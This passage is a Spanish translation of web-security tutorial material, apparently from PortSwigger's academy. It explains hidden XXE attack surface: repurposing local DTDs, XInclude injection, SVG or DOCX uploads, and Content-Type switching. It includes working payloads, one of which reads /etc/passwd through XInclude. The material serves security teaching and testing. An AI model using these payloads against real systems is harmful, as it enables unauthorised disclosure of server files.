Dado que este ataque XXE implica la reutilización de un DTD existente en el sistema de archivos del servidor, un requisito clave es localizar un archivo adecuado. Esto es realmente bastante sencillo. Debido a que la aplicación devuelve cualquier mensaje de error lanzado por el analizador XML, puede enumerar fácilmente archivos DTD locales con solo intentar cargarlos desde dentro del DTD interno.

Por ejemplo, los sistemas Linux que utilizan el entorno de escritorio GNOME a menudo tienen un archivo DTD en /usr/share/yelp/dtd/docbookx.dtd. Puede probar si este archivo está presente presentando la siguiente carga útil XXE, lo que causará un error si el archivo falta:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Después de haber probado una lista de archivos DTD comunes para localizar un archivo que está presente, entonces debe obtener una copia del archivo y revisarlo para encontrar una entidad que pueda redefinir. Dado que muchos sistemas comunes que incluyen archivos DTD son de código abierto, normalmente puede obtener rápidamente una copia de archivos a través de la búsqueda en Internet.


Encontrar superficie de ataque oculta para la inyección XXE

Las vulnerabilidades de la superficie de ataque para la inyección XXE son obvias en muchos casos, porque el tráfico HTTP normal de la aplicación incluye solicitudes que contienen datos en formato XML. En otros casos, la superficie del ataque es menos visible. Sin embargo, si usted mira en los lugares correctos, usted encontrará la superficie de ataque XXE en las solicitudes que no contienen ningún XML.

X Include attack

Algunas aplicaciones reciben datos enviados por el cliente, incrustarlos en el lado del servidor en un documento XML y luego analizar el documento. Un ejemplo de esto ocurre cuando los datos enviados por el cliente se colocan en una solicitud SOAP de back-end, que luego es procesada por el servicio SOAP backend.En esta situación, no se puede llevar a cabo un ataque clásico XXE, porque no controla todo el documento XML y por lo tanto no puede definir o modificar un DOCTYPEelemento. Sin embargo, usted podría ser capaz de utilizar XIncludeEn vez de eso. XIncludees una parte de la especificación XML que permite construir un documento XML a partir de subdocumentos. Puedes colocar un XIncludeataque dentro de cualquier valor de datos en un documento XML, por lo que el ataque se puede realizar en situaciones en las que solo controla un único elemento de datos que se coloca en un documento XML del lado del servidor.Para realizar un XIncludeataque, tienes que hacer referencia a la XIncludenamespace y proporcione la ruta al archivo que desea incluir. Por ejemplo:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

XXE attack a través de la carga de archivos

Algunas aplicaciones permiten a los usuarios cargar archivos que luego se procesan en el lado del servidor. Algunos formatos de archivo comunes utilizan XML o contienen subcomponentes XML. Ejemplos de formatos basados en XML son formatos de documentos de oficina como DOCX y formatos de imagen como SVG.

Por ejemplo, una aplicación puede permitir a los usuarios subir imágenes, procesarlas o validarlas en el servidor después de subirlas. Incluso si la aplicación espera recibir un formato como PNG o JPEG, la biblioteca de procesamiento de imágenes que se está utilizando podría soportar imágenes SVG. Dado que el formato SVG utiliza XML, un atacante puede enviar una imagen SVG maliciosa y así alcanzar la superficie de ataque oculta para vulnerabilidades XXE.


Ataque XXE a través de tipo de contenido modificado Content-Type

La mayoría de las solicitudes de POST utilizan un tipo de contenido predeterminado que se genera por formularios HTML, tales como application/x-www-form-urlencoded. Algunos sitios web esperan recibir solicitudes en este formato, pero tolerarán otros tipos de contenido, incluyendo XML.

Por ejemplo, si una solicitud normal contiene lo siguiente:

POST /action HTTP/1.0
Content-Type: **application/x-www-form-urlencoded**
Content-Length: 7

foo=bar

Entonces podría presentar la siguiente solicitud, con el mismo resultado:

POST /action HTTP/1.0
Content-Type: **text/xml**
Content-Length: 52

**<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>**

Si la aplicación tolera solicitudes que contienen XML en el cuerpo del mensaje, y analiza el contenido del cuerpo como XML, entonces puede llegar a la superficie de ataque XXE oculta simplemente reformatando las solicitudes para usar el formato XML.

🏸Laboratorio: Exploiting XXE using external entities to retrieve files
🥾Laboratorio: Exploiting XXE to perform SSRF attacks
🧑‍🎤Laboratorio: Blind XXE with out-of-band interaction
🦉Laboratorio: Blind XXE with out-of-band interaction via XML parameter entities
🌋Laboratorio: Exploiting blind XXE to exfiltrate data using a malicious external DTD
👾Laboratorio: Exploiting blind XXE to retrieve data via error messages
🌍Laboratorio: Exploiting XXE to retrieve data by repurposing a local DTD
🫀Laboratorio: Exploiting XInclude to retrieve files
👁️Laboratorio: Exploiting XXE via image file upload
portswigger